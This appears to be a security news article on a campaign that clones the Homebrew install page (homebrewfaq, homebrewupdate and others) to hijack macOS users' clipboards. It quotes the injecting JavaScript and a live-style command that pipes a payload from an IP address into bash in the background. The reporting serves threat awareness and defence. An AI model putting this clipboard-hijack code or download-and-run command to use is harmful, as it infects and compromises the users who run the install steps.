Hackers Attacking macOS Users With Spoofed Homebrew Websites to Inject Malicious Payloads

A recent campaign has been identified targeting macOS users through spoofed Homebrew installer websites. These sites deliver malicious payloads alongside legitimate package manager installations, exploiting user trust in the Homebrew package manager.

The attackers create exact replicas of the official brew[.]sh installation page, utilizing deceptive clipboard manipulation techniques. Security researchers have discovered multiple fraudulent domains, including homebrewfaq[.]org, homebrewclubs[.]org, and homebrewupdate[.]org, which mimic the legitimate Homebrew website.

These malicious websites include hidden JavaScript designed to inject additional commands into users' clipboards. Unlike authentic Homebrew pages, which permit manual text selection, these spoofed versions require users to use a designated Copy button, enabling attackers to insert malicious payloads alongside standard installation commands.

This campaign signifies a notable evolution in supply chain attacks by targeting the initial installation process rather than the package repositories. It demonstrates sophisticated execution and evasion capabilities through a parallel infrastructure that intercepts users during the installation phase, bypassing traditional security measures.

Advanced Clipboard Manipulation Techniques

The core infection mechanism relies on JavaScript-based clipboard manipulation, operating transparently to the victim. When the Copy button is clicked on spoofed sites, embedded code executes operations to inject malicious commands alongside the expected Homebrew installation script.

The JavaScript includes Russian-language comments indicating where to insert malicious commands, suggesting a commoditized threat service. The script prevents standard text selection, forcing victims to use the provided Copy button, which triggers the copyInstallCommand() function. This function writes a predetermined command to the clipboard using the Clipboard API or fallback textarea methods for cross-browser compatibility.

const copyCommand = 'echo '; // ← replace with the required command async function copyInstallCommand () { await navigator.clipboard.writeText(copyCommand); fetch('notify.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ event: 'copy_install_command', time: new Date() }) }); }

Analysis reveals that active campaigns use commands such as curl -s http[:]//185[.]93[.]89[.]62/d/vipx69930 | nohup bash & . This command downloads and executes additional payloads in the background, maintaining operational stealth while establishing persistent access to compromised systems.

Based on reporting by Cyber Security News.